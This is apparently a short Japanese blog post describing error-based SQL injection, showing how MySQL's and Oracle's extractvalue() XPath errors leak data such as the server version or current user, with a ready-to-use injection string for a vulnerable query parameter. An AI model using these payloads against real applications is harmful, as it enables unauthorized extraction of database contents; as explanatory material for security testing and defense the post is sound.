MySQLのエラーメッセージ

MySQL環境において、BlindではないSQLインジェクションがあるときに(SQLエラーメッセージが応答に含まれるときに)、欲しいデータをエラーメッセージから得る方法。

mysql> select extractvalue('<a/>',concat('/$',version()));
ERROR 1105 (HY000): XPATH syntax error: '$5.1.36-log'

こんな感じで使います。

?vuln_var='-extractvalue('<a/>',concat('/$',version()))-'

おそらく、MySQL5.1以上で動きます。

金床さんの本(ウェブアプリケーションセキュリティ)には、同じことをload_file関数を使ってやる方法が載ってますが、FILE権限が必要ですし、ちょっと前からその方法自体が使えなくなってます。

(参考)MySQL Bugs: #10418: LOAD_FILE does not behave like in manual if file does not exist

ところで、Oracleも同じように、XPATH構文が不正な場合、エラーメッセージにそのXPATH構文を出力します。

SQL> select extractvalue(xmltype('<a/>'),'/$'||user) from dual;
select extractvalue(xmltype('<a/>'),'/$'||user) from dual
                                                     *
行1でエラーが発生しました。:
ORA-31011: XML解析に失敗しました
ORA-19202: XML処理
LPX-00601: Invalid token in: '/$testuser1'中にエラーが発生しました

最近出た本(SQL Injection Attacks and Defense)によると、Oracle11gは、utl_inaddrなどのネットワーク系のパッケージをデフォルトで使用できなくしているようです。この本には、11g環境において、エラーメッセージをコントロールするための方法がいくつか載っています。